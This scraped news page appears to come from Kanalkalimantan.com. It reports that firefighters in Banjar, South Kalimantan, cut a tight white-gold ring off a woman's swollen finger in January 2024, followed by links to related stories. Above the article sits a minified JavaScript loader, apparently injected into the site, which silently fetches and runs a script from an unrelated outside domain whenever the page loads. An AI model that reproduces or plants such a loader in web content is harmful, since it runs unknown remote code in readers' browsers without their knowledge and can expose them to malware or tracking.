(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Tak bisa melepas cincin di jari tangannya karena sudah kekecilan Yuyuh harus relakan cincinnya dipotong.
Dinas Pemadam Kebakaran dan Penyelamatan (DPKP) Kabupaten Banjar mendapat laporan darai warga ada seorang perempuan yang tak bisa melepas cincin itu pada Rabu (3/1/2024) malam.
Petugas DPKP Banjar menerima laporan tersebut pukul 19.53 Wita. Sekitar pukul 20.17 Wita, petugas tiba di rumah Yuyuh, Jalan Rahayu Nomor 33C Kelurahan Sungai Paring Kecamatan Martapura Kabupaten Banjar.
Akibat jarinya membengkak cincin berbahan emas putih yang melingkar di jari manis Yuyuh tak bisa dilepas.
Baca juga:Â Batas Akhir 8 Januari Bangunan Liar di Trikora Harus Dibongkar
Petugas menyiapkan peralatan kemudian langsung memotong cincin berlian setebal kurang lebih 2 milimeter tersebut.
Setelah selesai cincinnya dipotong, petugas melakukan pendataan dan membantu membersihkan luka bengkak pada jari Yuyuh. Beres melakukan penanganan sekitar pukul 20.30 Wita kemudian memastikan situasi sudah aman. (Kanalkalimantan.com/bie)
Reporter : bie
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.